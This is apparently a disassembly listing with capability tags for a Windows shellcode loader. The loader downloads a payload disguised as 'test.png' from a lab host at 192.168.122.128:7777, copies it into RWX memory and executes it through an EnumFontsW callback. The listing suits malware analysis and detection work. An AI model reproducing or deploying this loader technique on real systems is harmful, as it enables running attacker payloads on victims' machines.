Function at 0x4010c0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x36900
call fcn.004022e0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x368fc], eax
push esi
push edi
push 0
push 0
push 0
push 1
push 0x403178
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
push 0x401620
test edi, edi
jne 0x40113c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.InternetOpen_failed:
push eax
call fcn.004013f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [edi + 1]
pop edi
pop esi
mov ecx, dword [esp + 0x368fc]
xor ecx, esp
call fcn.0040164f
mov esp, ebp
pop ebp
ret
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.InternetOpen_success:
call fcn.004013f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0x80000000
push 0
push 0
push str.http:__192.168.122.128:7777_test.png
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
push 0x401620
test esi, esi
jne 0x4011bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.InternetOpenUrl_failed:
push eax
call fcn.004013f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [esi + 1]
pop edi
pop esi
mov ecx, dword [esp + 0x368fc]
xor ecx, esp
call fcn.0040164f
mov esp, ebp
pop ebp
ret
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.InternetOpenUrl_success:
call fcn.004013f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0x368f0
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x401620
test eax, eax
jne 0x40124e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.InternetReadFile_failed:
push eax
call fcn.004013f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x368fc]
xor ecx, esp
call fcn.0040164f
mov esp, ebp
pop ebp
ret
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.InternetReadFile_success:
call fcn.004013f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [esp + 0xc]
push ecx
add edx, 0xffffff00
lea ecx, [esp + 0x114]
call fcn.00401050
lea ecx, [esp + 0x114]
call fcn.00401050
add esp, 4
lea eax, [esp + 0x110]
push edx
push eax
push 0x405380
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push 0x40
push 0x1000
push 0x368f0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x40130c
push 0x368f0
push 0x405380
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
call dword [sym.imp.USER32.dll_GetDC]
push 0
push esi
push 0
push eax
call dword [sym.imp.GDI32.dll_EnumFontsW]
push esi
push str.data:_p_n
call fcn.00401010
add esp, 8
push 0x3b9aca00
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x36904]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0040164f
mov esp, ebp
pop ebp
ret